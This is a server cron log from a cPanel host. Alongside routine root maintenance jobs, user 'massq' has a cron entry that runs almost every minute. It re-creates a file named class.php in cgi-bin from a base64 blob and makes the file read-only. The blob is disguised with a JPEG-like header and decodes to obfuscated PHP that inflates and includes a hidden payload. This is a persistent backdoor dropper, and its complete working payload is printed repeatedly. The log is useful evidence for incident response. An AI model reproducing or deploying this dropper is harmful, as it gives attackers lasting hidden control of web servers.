Sep  2 10:44:01 server CROND[32650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:45:01 server CROND[676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:45:01 server CROND[673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:45:01 server CROND[675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:45:01 server CROND[674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:45:01 server CROND[678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:45:01 server CROND[677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:45:01 server CROND[679]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:46:01 server CROND[1681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:46:01 server CROND[1682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:46:01 server CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:47:01 server CROND[2115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:47:01 server CROND[2116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:47:01 server CROND[2117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:48:02 server CROND[2523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:48:02 server CROND[2524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:48:02 server CROND[2525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:49:01 server CROND[2966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:49:01 server CROND[2965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:49:01 server CROND[2968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:50:01 server CROND[3373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:50:01 server CROND[3374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:50:01 server CROND[3385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:50:01 server CROND[3386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:50:01 server CROND[3384]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:50:01 server CROND[3387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:50:01 server CROND[3390]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:50:01 server CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:50:01 server CROND[3388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:51:01 server CROND[4361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:51:01 server CROND[4363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:51:01 server CROND[4362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:52:01 server CROND[4822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:52:01 server CROND[4823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:52:01 server CROND[4824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:53:01 server CROND[5232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:53:01 server CROND[5233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:53:01 server CROND[5235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:54:01 server CROND[5633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:54:01 server CROND[5634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:54:01 server CROND[5635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:55:01 server CROND[6048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:55:01 server CROND[6054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:55:01 server CROND[6057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:55:01 server CROND[6060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:55:01 server CROND[6058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:55:01 server CROND[6063]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:55:01 server CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:56:01 server CROND[6996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:56:01 server CROND[6997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
